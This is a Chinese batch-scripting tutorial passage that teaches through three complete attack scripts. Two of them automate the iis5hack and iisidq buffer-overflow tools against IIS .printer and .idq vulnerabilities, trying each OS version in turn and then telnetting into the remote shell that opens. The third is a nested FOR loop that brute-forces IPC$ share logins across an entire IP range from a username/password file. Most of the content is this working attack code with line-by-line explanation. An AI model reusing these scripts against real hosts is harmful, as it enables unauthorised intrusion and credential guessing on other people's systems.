1. 程式人生 > >dos/bat批處理教程——第四部分:完整案例

dos/bat批處理教程——第四部分:完整案例

echo 目錄 發布 判斷 案例 不能 goto 信息 iis

dos/bat批處理教程——第四部分:完整案例

以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上發布的一些批處理,看看他們是怎麽運作的。這裏我將列舉三個例子來詳細分析,為了保持程序的完整我的註釋會加在/*後面。

例一
這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程序有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為:
iis5hack <目標ip> <目標端口> <目標版本> <溢出連接端口>目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本,我們編制的批處理使用的命令格式為 <iis.bat 目標ip (開始版本號)>開始版本號可有可無。程序如下。
@echo off /*關閉命令回顯
if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip
if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉標誌1
if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設置則
if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標誌file段內容
ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結果中發現Received = 1
if errorlevel 1 goto error /*如果返回代碼為1則執行error段(代碼1為沒有發現 0為發現並成功執行)
iis5hack %1 80 9 88 | find "good" /*開始溢出目標端口80 系統代碼9 溢出後連接端口88 在執行結果中發現字符串”good”(溢出成功後才會有字符串good)
if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1(溢出成功)就執行telnet段的內容。
echo 操作系統類型 9 失敗! /否則顯示這一句
:8 /*以下代碼內容參照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 8 失敗!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 7 失敗!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 6 失敗!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 5 失敗!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 4 失敗!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 3 失敗!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 2 失敗!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 1 失敗!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統類型 0 失敗!
goto error
:telnet
telnet %1 88 /*開始連接目標ip的88端口
goto exit /*連接中斷後跳轉exit段
:error /*error段顯示錯誤後的幫助信息
echo 可能網絡不能連接或者對方以修補該漏洞!請按照下面的格式手工嘗試一次!
echo iis5hack [目標IP] [WEB端口] [系統類型] [開放端口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日語: 4
ECHO 日語+sp1: 5
ECHO 韓文: 6
ECHO 韓文+sp1: 7
ECHO 墨西哥語: 8
ECHO 墨西哥語+sp1: 9
goto exit /*跳轉exit段
:file /*file段顯示文件沒有發現的信息
echo 文件iis5hack.exe沒有發現!程序終止運行!
goto exit /*跳轉exit段
:help /*help段顯示本批處理的使用格式幫助
echo 本程序用法如下:
echo iis [目標ip]
echo iis [目標ip] [開始的號碼9-0]
:exit /*exit段為程序出口

這個批處理基本沒有什麽循環只是一路走下來。所以代碼比較長難度不大!

例二
這個例子是用iisidq.exe對有idq漏洞的機器進行溢出的批處理。使用的程序有iisidq.exe和系統自帶的程序telnet.exe。iisidq.exe的用法如下:
運行參數: 操作系統類型 目的地址 web端口 1 溢出監聽端口 <輸入命令1>
其中,如果輸入命令參數沒有輸入,那麽,默認為:"cmd.exe"。
其中操作系統類型類型的代碼範圍是0-14。我們編制的批處理使用的命令格式為 <idq.bat 目標ip>程序如下:
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*創建一個環境變量b,將變量%1的內容傳遞給環境變量b。變量b的內容以後將是目標ip
set a=0 /*創建一個環境變量a並指定環境變量a為0。由於使用整個批處理的循環所以用a來做計數器。
:no /*no段開始
if %a%==0 set d=0 /*如果環境變量a=0則創建環境變量d設定環境變量d=0。
if %a%==1 set d=1 /*環境變量d其實是操作系統類型代碼,用計數器來控制其
if %a%==2 set d=2 /*變動。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*變量傳遞完成後轉到標誌0處運行
:1
echo 正在執行第%d%項!與目標%b%不能連接!正在嘗試連接請等候......
:0 /*標誌0開始
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式發送溢出命令並在結果中發現字符串good(發送代碼成功才會有字符串good)
if errorlevel 1 goto 1 /*如果沒有good字符串則沒有發送成跳
/*轉標誌1處繼續嘗試發送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相當於延時8秒不顯示執
/*行結果
echo 正在執行第%d%項! /*報告正在溢出的操作系統類型
telnet %b% 99 /*連接溢出端口
echo. /*顯示一個空行
if %d%==14 goto error1 /*如果操作系統類型為14則跳轉error1處(循環出口)
if %d%==13 set a=11 /*開始用計數器對操作系統代碼重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成跳轉no段執行
:file /*以下都是出錯後的幫助提示
echo IIsidq.exe沒有發現!將該文件和本文件放在同一目錄!
goto exit
:error
echo 錯誤!目標ip不可識別!請使用下面的格式連接!
echo idq [目標IP]
goto exit
:error1
echo 連接沒有成功!可能目標機器已經修補了該漏洞或者網絡故障所至!
echo 請按照下面的格式手工嘗試!
echo iisidq [目標類型] [目標IP] [目標端口] [連接方式] [溢出端口]
echo telnet [目標ip] [溢出端口]
:exit /*整個程序的出口

這個批處理采用的整體循環掌握好計數器部分就掌握了這個批處理。

例三

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f

上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:\>TEST.BAT 218 當輸入218回車後該命令會由第1個for取初始值0為%%a然後繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最後一個for是將userpass.txt中的第一段字符作為密碼%%e第二段字符作為用戶名%%f最後執行命令 (這裏我把上面的值都帶進去,設密碼為123 用戶名為 abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc

dos/bat批處理教程——第四部分:完整案例